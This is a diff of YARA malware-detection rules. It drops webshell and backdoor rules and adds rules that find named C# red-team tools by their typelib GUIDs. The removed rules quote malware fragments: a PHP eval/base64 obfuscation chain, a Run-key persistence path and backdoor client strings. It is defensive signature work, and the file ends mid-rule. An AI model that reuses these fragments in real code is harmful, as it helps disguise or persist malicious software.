-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1aa5307790d72941589079989b4f900e"
-		logic_hash = "40c5a5d1d714947454f4aa9f7ed09d777cb60c23933201ac8eaf0d49452af8c6"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "acde7744-d17f-5e47-a5e2-ff4f4c4d8093"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/rasta-mouse/EWSToolkit"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3421-L3435"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "bc7f82779efec8a5e2a6a861a8e7a50e71e0b1e8891618f56bd12e0ce09eefc3"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "eval(gzinflate(str_rot13(base64_decode('"
+		$typelibguid0lo = "ca536d67-53c9-43b5-8bc8-9a05fdc567ed" ascii wide
+		$typelibguid0up = "CA536D67-53C9-43B5-8BC8-9A05FDC567ED" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Debug_Bdoor
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sweetpotato : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file BDoor.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "0938efe7-2b6d-5749-af9a-967cca85defb"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7160-L7172"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e4e8e31dd44beb9320922c5f49739955"
-		logic_hash = "ed8caeb96a6fc48fe23d5db078bbb8ba5aec3c5d4ee382cbc6bc4e01630f1460"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "0e347d94-51eb-5589-93d8-b19fec7f2365"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/CCob/SweetPotato"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3437-L3453"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0a514be8ef3b51a3cad22a470afd9a4911c7156bfbf14f0a33522b429041e5bb"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "\\BDoor\\"
-		$s4 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
+		$typelibguid0lo = "6aeb5004-6093-4c23-aeae-911d64cacc58" ascii wide
+		$typelibguid0up = "6AEB5004-6093-4C23-AEAE-911D64CACC58" ascii wide
+		$typelibguid1lo = "1bf9c10f-6f89-4520-9d2e-aaf17d17ba5e" ascii wide
+		$typelibguid1up = "1BF9C10F-6F89-4520-9D2E-AAF17D17BA5E" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Bin_Client
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Memscan : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file Client.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "8564d787-5edc-59b0-b1ef-2f33c8a24f82"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7173-L7187"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5f91a5b46d155cacf0cc6673a2a5461b"
-		logic_hash = "28ce9aa136b5d41bb580e6b5b8580d3ccbb7eeec31007e68241d23c5a0f40d40"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "35175fe1-a583-50d1-8b0c-71f19b898817"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/nccgroup/memscan"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3455-L3469"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "099c6dfc9f30e56eca9834431eb527194e0302c9c6ef88f3c4fc91837a7aad7a"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Recieved respond from server!!"
-		$s4 = "packet door client"
-		$s5 = "input source port(whatever you want):"
-		$s7 = "Packet sent,waiting for reply..."
+		$typelibguid0lo = "79462f87-8418-4834-9356-8c11e44ce189" ascii wide
+		$typelibguid0up = "79462F87-8418-4834-9356-8C11E44CE189" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Zxshell2_0_Rar_Folder_Zxshell
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpstay : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file ZXshell.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "621ac87e-b1f8-58d7-9328-54af5ca9b605"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7188-L7200"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "246ce44502d2f6002d720d350e26c288"
-		logic_hash = "72eaf90551144eccb7329e0a0e05bcc955ea2bfdb37aa87e9cae7b5f5a26bea0"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "e5bde5a9-8e09-59ce-ad01-e29836813cf8"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/0xthirteen/SharpStay"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3471-L3485"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3750df9725c739fad99d2ce5d3fab0c84112c1efb2e4e5a1348501174c4ce494"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "WPreviewPagesn"
-		$s1 = "DA!OLUTELY N"
+		$typelibguid0lo = "2963c954-7b1e-47f5-b4fa-2fc1f0d56aea" ascii wide
+		$typelibguid0up = "2963C954-7B1E-47F5-B4FA-2FC1F0D56AEA" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Rkntload
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharplocker : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file RkNTLoad.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "fd4b1343-5fa9-5ad8-bee1-6b06b93ddfbe"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7201-L7219"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "262317c95ced56224f136ba532b8b34f"
-		logic_hash = "ab767a7016318633055a85195ca2bab08a8c68222d46018aaf8772ab27a373c4"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "9525422a-d670-5475-abdc-b7ecd1ab9943"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/Pickfordmatt/SharpLocker"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3487-L3501"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "47cffdd5ffdf11c8afb16c031c6f44b0857ed369b2913a8c43b11bdb9d446171"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "$Info: This file is packed with the UPX executable packer http://upx.tsx.org $"
-		$s2 = "5pur+virtu!"
-		$s3 = "ugh spac#n"
-		$s4 = "xcEx3WriL4"
-		$s5 = "runtime error"
-		$s6 = "loseHWait.Sr."
-		$s7 = "essageBoxAw"
-		$s8 = "$Id: UPX 1.07 Copyright (C) 1996-2001 the UPX Team. All Rights Reserved. $"
+		$typelibguid0lo = "a6f8500f-68bc-4efc-962a-6c6e68d893af" ascii wide
+		$typelibguid0up = "A6F8500F-68BC-4EFC-962A-6C6E68D893AF" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Binder2_Binder2
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sauroneye : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file binder2.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "29269dc0-f2e4-56ec-ad64-0dff00e339b7"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7220-L7236"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d594e90ad23ae0bc0b65b59189c12f11"
-		logic_hash = "fbe56b7d37fc7863fcf55761c0b5b671d661a713ac95f90d65b79eee9a447a9b"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "3b624dde-a63e-58ac-a4db-af931f1d8553"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/vivami/SauronEye"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3503-L3519"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4f73dabd483ad1c45e6225ef8ef664f6db1ec75a6aa300a0a6efaa63e64b2c3a"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "IsCharAlphaNumericA"
-		$s2 = "WideCharToM"
-		$s4 = "g 5pur+virtu!"
-		$s5 = "\\syslog.en"
-		$s6 = "heap7'7oqk?not="
-		$s8 = "- Kablto in"
+		$typelibguid0lo = "0f43043d-8957-4ade-a0f4-25c1122e8118" ascii wide
+		$typelibguid0up = "0F43043D-8957-4ADE-A0F4-25C1122E8118" ascii wide
+		$typelibguid1lo = "086bf0ca-f1e4-4e8f-9040-a8c37a49fa26" ascii wide
+		$typelibguid1up = "086BF0CA-F1E4-4E8F-9040-A8C37A49FA26" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Thelast_Orice2
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sitrep : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file orice2.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "968cef9e-0163-5f4a-91e3-07510f9f4fcd"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7237-L7249"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "aa63ffb27bde8d03d00dda04421237ae"
-		logic_hash = "075f3377a9b90c6c1ba74682415b9c0832a839afe647fa6d3c85d4e987618405"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "5f2ac63e-4be1-520c-82b1-1957027a63e2"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/mdsecactivebreach/sitrep"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3521-L3535"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c7fa4e8bd94d86218c22c1be99221b25406e7fbae54cfadb53f81720d167e8ce"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = " $aa = $_GET['aa'];"
-		$s1 = "echo $aa;"
+		$typelibguid0lo = "12963497-988f-46c0-9212-28b4b2b1831b" ascii wide
+		$typelibguid0up = "12963497-988F-46C0-9212-28B4B2B1831B" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_FSO_S_Sincap
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpclipboard : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file sincap.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "fcee20a3-e71b-5f69-ac67-8660fd270703"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7250-L7262"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "dc5c2c2392b84a1529abd92e98e9aa5b"
-		logic_hash = "705030e93248f5ea6744f78bd7a1816aaa9772880059286b8d686e05b193d4a0"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "fd1b7786-8853-5858-ab03-da350e44f738"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/slyd0g/SharpClipboard"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3537-L3551"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f935b91fcbf982af9e67f90fe1ce9086217066dd2127dea17c92db5c185b91b9"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "    <font color=\"#E5E5E5\" style=\"font-size: 8pt; font-weight: 700\" face=\"Arial\">"
-		$s4 = "<body text=\"#008000\" bgcolor=\"#808080\" topmargin=\"0\" leftmargin=\"0\" rightmargin="
+		$typelibguid0lo = "97484211-4726-4129-86aa-ae01d17690be" ascii wide
+		$typelibguid0up = "97484211-4726-4129-86AA-AE01D17690BE" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Phpshell
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpcookiemonster : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file PhpShell.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "887264d3-5704-5e38-b0a6-44d529258ea2"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7263-L7274"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "539baa0d39a9cf3c64d65ee7a8738620"
-		logic_hash = "95b3cedac370bf9b06092035a738722f3ec97e6cbafe3d4f742429a865576ad8"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "87be6949-f4f5-5a5a-b804-c627ed0f4355"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/m0rv4i/SharpCookieMonster"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3553-L3567"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a4003459096d8bfdcb4c4761d32bdccfa273c3950f90c7605d555713cd215709"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "href=\"http://www.gimpster.com/wiki/PhpShell\">www.gimpster.com/wiki/PhpShell</a>."
+		$typelibguid0lo = "566c5556-1204-4db9-9dc8-a24091baaa8e" ascii wide
+		$typelibguid0up = "566C5556-1204-4DB9-9DC8-A24091BAAA8E" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Hytop_Devpack_Config
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_P0Wnedshell : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file config.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "da1b8ce1-8b17-53f6-a86b-ad3fe918084e"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7275-L7288"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b41d0e64e64a685178a3155195921d61"
-		logic_hash = "b2806c30db413bca518943352f233c9d2915356a41eceed5e352b88ee34fbbd3"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "390b94d1-dda9-5a85-80ae-c79a3f7b0b9d"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/Cn33liz/p0wnedShell"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3569-L3583"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "bed8f4ea30218c137a26da5059934fa93316f4a3623284c5cb3a44b8bfacf7c4"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "const adminPassword=\""
-		$s2 = "const userPassword=\""
-		$s3 = "const mVersion="
+		$typelibguid0lo = "2e9b1462-f47c-48ca-9d85-004493892381" ascii wide
+		$typelibguid0up = "2E9B1462-F47C-48CA-9D85-004493892381" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Sendmail
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpmove : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file sendmail.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "dd33c2bb-61bf-57b7-82b9-d864097f7a56"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7289-L7301"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "75b86f4a21d8adefaf34b3a94629bd17"
-		logic_hash = "bcca9a9380d2695bc277afc9fa72c24cb26ac44c6fbcc87113b017cfe190bdab"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "e52392f9-614c-596e-8efd-aa0a2fa44e60"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/0xthirteen/SharpMove"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3585-L3599"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4dd05b77d8cacb0dc208ee7bdde5358adfdf0bb04f52f1d6f12774effc547ca7"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s3 = "_NextPyC808"
-		$s6 = "Copyright (C) 2000, Diamond Computer Systems Pty. Ltd. (www.diamondcs.com.au)"
+		$typelibguid0lo = "8bf82bbe-909c-4777-a2fc-ea7c070ff43e" ascii wide
+		$typelibguid0up = "8BF82BBE-909C-4777-A2FC-EA7C070FF43E" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_FSO_S_Zehir4
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_C_Sharp_R_A_T_Client : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file zehir4.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "9f1adcd6-b721-54ef-a20f-c3a353629a40"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7302-L7313"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5b496a61363d304532bcf52ee21f5d55"
-		logic_hash = "6bcfb1ee40403394bf996ecbe1bb17f9afa0c3ba9e1906881b94bbc785b4a510"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "f5df8257-d202-58e3-9c4a-1dfc9dd52f2a"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/AdvancedHacker101/C-Sharp-R.A.T-Client"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3601-L3615"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5e6a9db731caf7bc7ab79fa70c3f9bacaca8fa2d70deafe2a0b08ae4fac8a35b"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s5 = " byMesaj "
+		$typelibguid0lo = "6d9e8852-e86c-4e36-9cb4-b3c3853ed6b8" ascii wide
+		$typelibguid0up = "6D9E8852-E86C-4E36-9CB4-B3C3853ED6B8" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Hkshell_Hkshell
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpprinter : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file hkshell.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7436cd7c-7027-56dc-bb62-fac0f70c27d8"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7314-L7327"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "168cab58cee59dc4706b3be988312580"
-		logic_hash = "bee4d4c957ede41c771d690d52ac2fd3655238cc1fc106d30fb2721084b38aa1"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "10270351-ad80-5330-971b-bc8f635f05f4"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/rvrsh3ll/SharpPrinter"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3617-L3631"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "db7f131fa38756d53681792f3de2af44ace768e66c5318f61fa199900a8cdb8e"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "PrSessKERNELU"
-		$s2 = "Cur3ntV7sion"
-		$s3 = "Explorer8"
+		$typelibguid0lo = "41b2d1e5-4c5d-444c-aa47-629955401ed9" ascii wide
+		$typelibguid0up = "41B2D1E5-4C5D-444C-AA47-629955401ED9" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Imhapftp
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Evilfoca : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file iMHaPFtp.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "c810c630-ce08-5059-ad49-f65b244f4d19"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7328-L7339"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "12911b73bc6a5d313b494102abcf5c57"
-		logic_hash = "c24bb80a0ae4284b4303450e9103c5dda30c41b41f323641ac1175461f741ced"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "2b2f5f6f-4224-5013-9e85-0ac088826bea"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/ElevenPaths/EvilFOCA"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3633-L3647"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d3302781414e5146ee8b5d7d2df8aa5d4be31308b7483200eb695e0c0048c279"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
